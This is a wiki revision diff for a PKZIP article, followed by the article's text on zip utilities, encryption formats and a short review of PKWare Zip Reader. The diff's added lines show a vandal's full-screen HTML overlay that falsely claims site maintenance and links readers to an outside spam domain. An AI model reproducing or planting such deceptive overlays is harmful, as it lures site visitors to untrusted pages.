Difference between revisions of "PkZIP"
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PkZip/Unzip is shareware, and a $47. fee should be paid to PkWare. | PkZip/Unzip is shareware, and a $47. fee should be paid to PkWare. | ||
| − | == Versions == | + | >== Versions == |
| − | There are two companies that make | + | There are two companies that make "zip" compression software for .zip file creation / extraction. There's actually 2 encrypted .ZIP formats: PKZIP will read WinZip's format, and vice-versa up to PKZip version 2.0. |
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=== PKWare Zip Reader === | === PKWare Zip Reader === | ||
| − | From the name of this moderately useful little utility, I was supposing that I'd get to view/read the contents, but opening a .zip file with the PKWare Zip Reader simply extracts it to a folder named for said zip file. Not that it isn't handier than the XP's pedantic three-step | + | From the name of this moderately useful little utility, I was supposing that I'd get to view/read the contents, but opening a .zip file with the PKWare Zip Reader simply extracts it to a folder named for said zip file. Not that it isn't handier than the XP's pedantic three-step "Extract All" option, but I was hoping for more. PKWare Zip Reader extracts the company's SecurZip files as well, but that's the only other compression codec it understands. As far as it goes, it's a very handy utility, but it won't replace WinRAR in my toolkit anytime soon. For accuracy's sake, it should also be renamed PKWare Zip Extractor. --Jon L. Jacobi |
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[[Category:Computer_Technology]] | [[Category:Computer_Technology]] | ||
[[Category:Desktop Software]] | [[Category:Desktop Software]] | ||
[[Category:Software]] | [[Category:Software]] | ||
| + | |||
| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://ahixazu.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://ahixazu.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
Revision as of 01:33, 18 November 2010
PkZip and PkUnzip are utilities which have the following purposes:
- Package groups of files together in a manner which permits easy transfer over a modem. Typically these groups make up a program, but single files, including text files, are often "Zipped"
- Compresses the files, typically to half their original size in the case of wordprocessor and text files.
- One favourable aspect of PKZip is that it tends to preserve the file's structure. This means that after a wordprocesor-text file is transferred over the Internet, it remains readable by the wordprocesor.
- PkZip is also convenient for archiving of files for backup, and can be used across a network.
PkZip/Unzip is shareware, and a $47. fee should be paid to PkWare.
>== Versions ==
There are two companies that make "zip" compression software for .zip file creation / extraction. There's actually 2 encrypted .ZIP formats: PKZIP will read WinZip's format, and vice-versa up to PKZip version 2.0.
WinZip's AES encryption is documented here [winzip.com]. PKWare's format is apparently proprietary.
Contents
PKUnZIP 2.1
pkzip 2 and below are most common. do not upgrade to 2.1 as it is mostly bloatware and incompatible with microsoft windows own unzip extraction built into file explorer.
pkzip / pkunzip 2.1 - bloatware / crapware
PKWare Zip Reader
From the name of this moderately useful little utility, I was supposing that I'd get to view/read the contents, but opening a .zip file with the PKWare Zip Reader simply extracts it to a folder named for said zip file. Not that it isn't handier than the XP's pedantic three-step "Extract All" option, but I was hoping for more. PKWare Zip Reader extracts the company's SecurZip files as well, but that's the only other compression codec it understands. As far as it goes, it's a very handy utility, but it won't replace WinRAR in my toolkit anytime soon. For accuracy's sake, it should also be renamed PKWare Zip Extractor. --Jon L. Jacobi
